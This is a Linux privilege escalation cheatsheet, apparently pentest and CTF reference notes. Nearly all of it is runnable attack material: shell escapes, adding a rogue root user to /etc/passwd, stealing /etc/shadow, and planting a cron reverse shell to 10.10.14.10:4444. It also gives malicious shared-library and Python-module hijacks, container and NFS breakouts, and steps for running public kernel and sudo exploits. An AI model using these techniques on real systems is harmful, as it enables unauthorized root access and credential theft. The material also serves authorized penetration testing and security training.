⬅ IndexCheatsheets

Linux Privilege Escalation Cheatsheet

TitleLinux Privilege Escalation Cheatsheet
CategoryCheatsheets
DescriptionEscaladare de privilegii Linux: enumerare, SUID/SGID, sudo, capabilities, cron jobs, PATH abuse, kernel exploits — cheatsheet complet.
Updated2026-08-26

Linux Privilege Escalation Cheatsheet


Initial Enumeration — Quick Commands

# System info
uname -a                        # kernel version
cat /etc/os-release             # OS version
cat /etc/issue                  # OS name
hostname                        # hostname
lscpu                           # CPU architecture

# User info
id                              # current user + groups
whoami                          # current user
sudo -l                         # sudo privileges (MUST CHECK ALWAYS)
cat /etc/passwd                 # all users (check for hashes!)
cat /etc/shadow                 # password hashes (root-only, check if readable)
lastlog                         # last logins
last                            # login history
who                             # who is logged in

sudo Privileges

Always check this first.

sudo -l                         # list sudo permissions
sudo -l -U <user>               # check another user's sudo rights

# Execute commands as any user (if sudo -l shows NOPASSWD)
sudo -u root <command>

# If specific binary is allowed — GTFOBins it!
# https://gtfobins.github.io

# Common dangerous sudo entries
sudo -u root /bin/bash          # full shell as root (if /bin/bash allowed)
sudo -u root find . -exec /bin/sh \;     # find with exec
sudo vim -c '!bash'             # escape vim to shell
sudo less /etc/shadow           # less with file, then !bash
sudo man man -P 'cat /etc/shadow'  # man pager escape
sudo awk 'BEGIN {system("/bin/sh")}'  # awk escape
sudo python3 -c 'import os; os.system("/bin/sh")'  # python escape

GTFOBins: Check https://gtfobins.github.io for every binary.


SUID Binaries

# Find SUID binaries on the system
find / -perm -4000 -type f 2>/dev/null
find / -uid 0 -perm -4000 -type f 2>/dev/null          # owned by root + SUID
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null  # SUID + SGID

# Check if SUID binary is exploitable
ls -la /usr/bin/<binary>
strings /usr/bin/<binary> | grep -i version

# Common SUID binaries to watch for
# /usr/bin/pkexec          — polkit (CVE-2021-4034, CVE-2022-0847)
# /usr/bin/su              — standard
# /usr/bin/sudo            — standard
# /usr/bin/passwd          — standard
# /usr/bin/gpasswd         — standard
# /usr/bin/newgrp          — standard
# /usr/bin/chsh            — standard
# /usr/bin/chfn            — standard
# /usr/bin/mount           — standard
# /usr/bin/umount          — standard
# /usr/bin/cp              — copy as root (exfiltrate /etc/shadow!)
# /usr/bin/find            — find . -exec /bin/sh -p \;
# /usr/bin/nmap            — nmap --interactive
# /usr/bin/vim             — vim -c '!sh'
# /usr/bin/less            — less /etc/shadow
# /usr/bin/base64          — base64 /etc/shadow | base64 -d

Exploit common SUID binaries

# SUID find
find . -exec /bin/sh -p \; -quit

# SUID nmap (old versions)
nmap --interactive
> !sh

# SUID vim
vim -c '!sh'

# SUID less
less /etc/shadow
# then type !sh

# SUID cp — copy shadow
cp /etc/shadow /tmp/shadow
# crack the hash offline

# SUID base64
base64 /etc/shadow > /tmp/shadow.b64

Linux Capabilities

# Find files with capabilities set
getcap -r / 2>/dev/null

# Check a specific file
getcap /usr/bin/ping

# Dangerous capabilities
# CAP_SYS_ADMIN       — essentially root
# CAP_DAC_OVERRIDE    — bypass file permission checks
# CAP_DAC_READ_SEARCH — bypass file read checks
# CAP_SETUID          — can set uid
# CAP_SETGID          — can set gid
# CAP_NET_RAW         — raw sockets (sniffing)
# CAP_SYS_PTRACE      — process inspection (memory access)
# CAP_SYS_MODULE      — load kernel modules
# CAP_CHOWN           — change file ownership

# Exploit CAP_DAC_OVERRIDE on perl/python/ruby
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'

# Exploit CAP_SETUID
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'

Writable /etc/passwd

# Check if /etc/passwd is writable
ls -la /etc/passwd
ls -la /etc/shadow

# Generate a password hash
openssl passwd -1 -salt x password123
# or
mkpasswd -m SHA-512 password123

# Add new root user
echo "newroot:\$1\$x\$xxxxxxxx:0:0:root:/root:/bin/bash" >> /etc/passwd
su newroot

# Replace root password
# Edit /etc/passwd and replace root's 'x' with hash
root:$1$x$xxxxxxxx:0:0:root:/root:/bin/bash

Writable /etc/shadow

# If /etc/shadow is writable — even easier
# Generate password hash for a known password
# Replace root's hash in /etc/shadow
# Then su root with the known password

Cron Jobs

# List cron jobs for all users
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /var/spool/cron/crontabs/

# Check user's own cron
crontab -l

# One-liner to check writable cron scripts
for f in $(find /etc/cron* -type f 2>/dev/null); do echo "$f: $(ls -la $f)"; done

# Check if any script is writable by current user
find /etc/cron* -writable -type f 2>/dev/null

# Check paths in cron jobs — writable PATH hijacking
cat /etc/crontab | grep -v "^#"
# If cron runs a script without full path — hijack $PATH

Hunting writable targets (the golden command)

# ALL world-writable FILES — the classic privesc sweep.
# NOT a cron finder: it finds WEAK SCRIPTS that a privileged process (cron/service)
# may execute. Every cron job runs a command — if that command is a writable script → win.
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null

# Group-writable too (not just "others"):
find / -path /proc -prune -o -type f \( -perm -o+w -o -perm -g+w \) -print 2>/dev/null

# Writable DIRECTORIES (PATH hijack / drop scripts there):
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null
# e.g. /usr/local/bin writable → plant a fake "tar" that runs as root

Cron abuse workflow (schedule → target → proof)

# 1. Schedules (WHAT runs):
cat /etc/crontab /etc/cron.d/* 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null

# 2. Targets (WHAT we can write) — see "golden command" above

# 3. Runtime proof (WHAT actually runs, no root needed):
# pspy64 -pf -i 1000   → shows root cron commands in real time

Cron exploitation examples

# If script is writable — add reverse shell
echo '#!/bin/bash' > /path/to/cron_script.sh
echo 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1' >> /path/to/cron_script.sh

# More reliable over SSH (no listener needed):
printf '\ncat /root/flag.txt > /tmp/f.txt; chmod 644 /tmp/f.txt\n' >> /path/to/root_cron_script.sh
# wait for the cron tick, then read /tmp/f.txt

# PATH hijacking (if cron uses relative path)
# Check the PATH in /etc/crontab, find writable directory
echo '#!/bin/bash' > /tmp/evil_script.sh
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /tmp/evil_script.sh
chmod +x /tmp/evil_script.sh
export PATH=/tmp:$PATH

Wildcard injection (tar/rsync in cron)

# If cron runs: tar czf /backup.tgz *  → craft filenames that become tar options:
# (run from the directory the cron tars)
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh evil.sh'
# evil.sh runs as root on the next cron tick. Also works with rsync (--rsh=).
# Watch out: filenames starting with - may need `--` to create.

Worked example (HTB Academy LLPE-NIX02)

1. find / -path /proc -prune -o -type f -perm -o+w → /dmz-backups/backup.sh (777)
2. cat /etc/crontab → cron entry: */3 * * * * root /dmz-backups/backup.sh  (every 3 min!)
   (sysadmin wanted 0 */3 = every 3 HOURS — wrote */3 = every 3 minutes)
3. printf '\ncat /root/cron_abuse/flag.txt > /tmp/f; chmod 644 /tmp/f\n' >> backup.sh
4. Wait ~2.5 min → cat /tmp/f → flag
5. ALWAYS back up the script before editing (cp backup.sh /tmp/) and restore after.

tmux / Screen Sessions

# Check for tmux sessions
tmux ls
# Check if someone else has an active session
ps aux | grep tmux

# Check screen sessions
screen -ls
ps aux | grep screen

# Check if socket files exist
find / -name "*.tmux*" -type s 2>/dev/null
find / -name "*.screen*" -type s 2>/dev/null

# Attach to tmux session (if socket writable)
tmux attach -t <session_name>

# Attach to screen session
screen -r <session_name>
screen -r <pid>.<session_name>

# Check for writable tmux sockets
find / -writable -type s 2>/dev/null

LXD / LXC Group

# Check if user is in lxd or lxc group
id
groups

# If in lxd group — can mount the host filesystem
# Method: run Alpine image with host filesystem mapped
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
# Now access /mnt/root for host filesystem

LXD without internet

# Build Alpine image locally if no internet
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-v3.18-x86_64.tar.gz
lxc image import alpine-v3.18-x86_64.tar.gz --alias alpine

Docker Group

# Check if user is in docker group
groups
id

# If in docker group — full root access
docker run -v /:/mnt -it alpine /bin/sh
# Then chroot to /mnt
chroot /mnt

# Or mount and modify host filesystem
docker run -v /:/host -it alpine chroot /host
docker run -v /etc:/etc -it alpine sh  # overwrite /etc/shadow

SSH Keys

# Check for world-readable private keys
find /home -name "id_rsa" -type f 2>/dev/null
find / -name "id_rsa" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null
find / -name "authorized_keys" -type f 2>/dev/null
find / -name "*.pub" -type f 2>/dev/null

# Check SSH config
cat ~/.ssh/config 2>/dev/null
cat /etc/ssh/sshd_config | grep -i permitrootlogin
cat /etc/ssh/sshd_config | grep -i authorizedkeys

# Check if we can write to authorized_keys
echo "ssh-rsa AAAAB3..." >> /root/.ssh/authorized_keys

Kernel Exploits

# Get kernel version
uname -a
uname -r

# OS version
cat /etc/os-release

# Check for known CVEs (automated)
./linux-exploit-suggester.sh
./les.sh                           # Linux Exploit Suggester
python3 linux-exploit-suggester-2.py

# Manual — searchsploit
searchsploit "linux kernel $(uname -r)"

# Common kernel exploits
# CVE-2021-4034 — PwnKit (pkexec)
# CVE-2022-0847 — Dirty Pipe
# CVE-2016-5195 — Dirty Cow
# CVE-2021-3493 — overlayFS
# CVE-2023-2640 — Ubuntu overlayFS

# Dirty Pipe (CVE-2022-0847)
gcc dirtypipe.c -o dirtypipe
./dirtypipe /etc/passwd 1 "newroot:\$1\$x\$xxxxxxxx:0:0:root:/root:/bin/bash\n"

# Dirty Pipe — SUID hijack variant (AlexisAhmed repo: exploit-1/exploit-2)
bash compile.sh
./exploit-2 /usr/bin/sudo     # hijacks the SUID binary → root shell
#                              # (clean up /tmp/sh afterwards!)

# Compile STATIC when the target has an older glibc:
# gcc -static -o exploit exploit.c   → avoids "GLIBC_2.34 not found"

# PwnKit (CVE-2021-4034)
gcc pwnkit.c -o pwnkit
./pwnkit

# Dirty Cow (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

Environment Variables

LD_PRELOAD

If sudo -l shows a binary run with env_keep=LD_PRELOAD.

# Create a shared library
cat > /tmp/libevil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setresuid(0,0,0);
    system("/bin/sh -p");
}
EOF

# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/libevil.so /tmp/libevil.c

# Run the sudo-allowed binary with LD_PRELOAD
sudo LD_PRELOAD=/tmp/libevil.so <allowed-binary>

PATH Hijacking

# If a cron job or script runs a command without full path
# Check writable directories in $PATH
echo $PATH
find $(echo $PATH | tr ':' ' ') -writable -type d 2>/dev/null

# Create malicious script with same name as the command
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/bashroot; chmod +s /tmp/bashroot' >> /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH

Shared Object Hijacking (RUNPATH)

A SUID binary that loads a library from a writable directory (RUNPATH) can be hijacked.

# 1. Find the non-standard library dependency
ldd ./payroll
#    libshared.so => /development/libshared.so   ← non-standard path!

# 2. Confirm the RUNPATH
readelf -d payroll | grep PATH
#    0x000000000000001d (RUNPATH)  Library runpath: [/development]

# 3. /development is world-writable (drwxrwxrwx) → we control the library!

# 4. Find the function the binary needs (copy libc over the lib → run → error)
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
./payroll
#    ./payroll: symbol lookup error: undefined symbol: dbquery   ← function name!

# 5. Compile a malicious library exporting that function
cat > /tmp/src.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void dbquery() {
    setuid(0);
    system("/bin/sh -p");
}
EOF
gcc /tmp/src.c -fPIC -shared -o /development/libshared.so

# 6. Run the binary → root shell
./payroll

Python Library Hijacking

Three vectors when a root-run script imports a module we control.

1. Insecure write permissions on the module

# sudo -l shows: (ALL) NOPASSWD: /usr/bin/python3 /home/user/script.py
# script.py imports psutil → check the module file perms
ls -l /usr/local/lib/python3.*/dist-packages/psutil/__init__.py
# -rw-r--rw- root staff ...   ← world-writable!

# Inject code at the start of the function the script calls
python3 - << 'EOF'
p = "/usr/local/lib/python3.8/dist-packages/psutil/__init__.py"
s = open(p).read()
s = s.replace("def virtual_memory():\n",
              "def virtual_memory():\n    import os\n    os.system('cat /root/flag.txt')\n", 1)
open(p, "w").write(s)
EOF

# Run the script with sudo → injected code runs as root
sudo /usr/bin/python3 /home/user/mem_status.py

2. Library search path (higher-priority dir writable)

# Python imports in order — a writable path earlier in the list wins
python3 -c 'import sys; print("\n".join(sys.path))'
# /usr/lib/python3.8          ← check perms (drwxr-xrwx = writable!)
# /usr/local/lib/python3.8/dist-packages   ← psutil installed here (lower priority)

# Create a fake psutil.py in the HIGHER-priority writable dir
cat > /usr/lib/python3.8/psutil.py << 'EOF'
import os
def virtual_memory():
    os.system('id')   # runs as root when the script calls it
EOF
sudo /usr/bin/python3 /home/user/mem_status.py

3. PYTHONPATH environment variable (sudo SETENV)

# sudo -l shows: (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
# → we can set env vars for the sudo-run python

# Put the malicious psutil.py in /tmp, then force python to load it
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/user/mem_status.py

NFS — no_root_squash

# 1. List the NFS exports of the target
showmount -e 10.10.10.10
#    Export list for 10.10.10.10:
#    /tmp             *
#    /var/nfs/general *

# 2. On the ATTACKER (as root): build a SUID shell
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void) { setuid(0); setgid(0); system("/bin/bash"); }
EOF
gcc -static -o /tmp/shell /tmp/shell.c   # -static = runs on old glibc targets!

# 3. Mount the share + drop the binary + set SUID (owner = UID 0 on server!)
mkdir -p /mnt
mount -t nfs 10.10.10.10:/tmp /mnt
cp /tmp/shell /mnt/
chmod u+s /mnt/shell        # no_root_squash keeps root ownership
umount /mnt

# 4. On the target: execute → root shell
/tmp/shell

Sudo — CVE-2021-3156 (Baron Samedit) & CVE-2019-14287

Baron Samedit (heap overflow in sudoedit)

Affects sudo < 1.8.31p2 / 1.9.5p2 (Ubuntu 20.04 ships 1.8.31; older versions vulnerable).

# 1. Check version
sudo -V | head -1

# 2. Get the PoC (blasty) — no sudo rights needed, works on ANY sudoers entry
git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156
make   # or: gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
       #     gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
       # no make/gcc on target → compile -static on your box, transfer everything

# 3. Run with the matching target index (0=Ubuntu18.04/1.8.21, 1=Ubuntu20.04/1.8.31)
./sudo-hax-me-a-sandwich 1
#    pray for your rootshell..  →  # id  →  uid=0(root)

Sudo policy bypass (CVE-2019-14287)

When sudoers allows a user to run a command as ANY user (ALL=(ALL) /usr/bin/id), -u#-1 wraps around to UID 0:

sudo -u#-1 id
# uid=0(root) gid=1005(user) ...

Logrotate — CVE-2022-1342 (logrotten)

Race condition: logrotate (root) rotates a log we control → symlink swap → root writes a file into /etc/bash_completion.d (sourced by any root bash login).

# 1. Find writable logs that root rotates (trigger discovery via pspy!)
#    /home/user/backups/access.log  ← writable + rotated by root's logrotate

# 2. Build logrotten on the target (or transfer the .c + compile there)
git clone https://github.com/whotwagner/logrotten.git
gcc logrotten.c -o logrotten

# 3. Payload: NOT a reverse shell (cleanup deletes the file fast) — SUID shell
cat > /tmp/payload << 'EOF'
if [ `id -u` -eq 0 ]; then (cp /bin/dash /tmp/dash; chmod u+s /tmp/dash); fi
EOF

# 4. Arm the exploit on the log + trigger the rotation (write to the log)
./logrotten -p /tmp/payload /home/user/backups/access.log
echo trigger >> /home/user/backups/access.log
#    Renamed ... and created symlink to /etc/bash_completion.d
#    Waiting 1 seconds before writing payload...

# 5. The symlink-vs-create race is RANDOM — retry until /tmp/dash appears!
ls -la /tmp/dash          # -rwsr-xr-x root root = payload executed!

# 6. Root shell (persistent — no time pressure)
/tmp/dash -p              # -p keeps the SUID euid!

Notes:
- The real logrotate config may be hidden in /root (unreadable) — find the target log empirically: write to logs and watch which one gets rotated (access.log → access.log.1).
- pspy64 reveals the root trigger chain (cron → script → logrotate) without root.
- The payload file in bash_completion.d gets cleaned up quickly — the SUID-dash trick survives the cleanup.


Interesting Files & Locations

# Backup files
ls -la /var/backups/
ls -la /var/backups/*.tgz
cat /var/backups/passwd.bak
cat /var/backups/shadow.bak
cat /var/backups/gshadow.bak
cat /var/backups/group.bak

# Check for hidden files in common directories
ls -la /opt/
ls -la /srv/
ls -la /tmp/
ls -la /var/tmp/
ls -la /root/ 2>/dev/null              # Can we read root's home?

# Check for scripts
find /opt -type f -name "*.sh" 2>/dev/null
find /opt -type f -name "*.py" 2>/dev/null
find /opt -type f -name "*.pl" 2>/dev/null

# Check for config files
find / -name "*.conf" -type f 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name "*.config" -type f 2>/dev/null

# Check for log files
ls -la /var/log/
cat /var/log/auth.log | grep -i "session opened for user" | tail -20
cat /var/log/auth.log | grep "password" | tail -20
cat /var/log/syslog | grep -i "error\|fail\|password" | tail -30

# Check for credentials in commonly used files
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /home/ 2>/dev/null
grep -ri "password" /etc/ 2>/dev/null

# Check for database files
find / -name "*.db" -type f 2>/dev/null
find / -name "*.sqlite" -type f 2>/dev/null
find / -name "*.sql" -type f 2>/dev/null

Process & Service Enumeration

# All running processes
ps aux
ps aux | grep root
ps aux | grep -i "http\|ssh\|mysql\|nginx\|apache\|tomcat\|docker"

# Check listening ports
netstat -tlnp
ss -tlnp
ss -tulpn

# Check services running as root
ps aux | grep "^root"

# Check for services running from unusual directories
ps aux | grep -v "/usr/\|/bin/\|/lib/\|/sbin/\|/etc/"

# Check for unusual processes
ps aux --forest
systemctl list-units --type=service --state=running

Automation — LinPEAS

# Download and run
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Or transfer via base64
# On your machine:
base64 linpeas.sh
# Copy output, paste on target:
echo "<base64>" | base64 -d | sh

# Run and output to file
./linpeas.sh -a > linpeas_output.txt

# Quick mode (faster)
./linpeas.sh -q

Alternative automation tools

# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

# linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh

# unix-privesc-check
wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check

# PEAS-ng (updated LinPEAS)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh

Quick Win Checklist

1. sudo -l                                           → check sudo rights
2. find / -perm -4000 -type f 2>/dev/null            → check SUID
3. getcap -r / 2>/dev/null                           → check capabilities
4. cat /etc/crontab                                  → check cron jobs
5. ls -la /etc/passwd                                → writable passwd?
6. uname -a                                          → kernel version
7. groups                                            → docker? lxd? sudo?
8. find / -writable -type d 2>/dev/null              → writable directories
9. dpkg -l 2>/dev/null                               → installed packages
10. ps aux | grep -i "screen\|tmux"                  → open sessions
11. cat /etc/ssh/sshd_config                         → SSH misconfig?
12. ls -la /var/backups/                             → backup files

Cron Jobs — chkrootkit (CVE-2014-0476)

If chkrootkit (< 0.50) runs as root via cron, its slapper check executes whatever is at /tmp/update:

echo -e '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/update
chmod 755 /tmp/update
sleep 60                    # wait for next cron run
ls -la /bin/bash            # → -rwsr-xr-x root root
/bin/bash -p                # euid=0 → root

Detection: which chkrootkit, watch ps aux | grep chkroot across a minute, check /etc/cron* and /var/spool/cron/crontabs/root.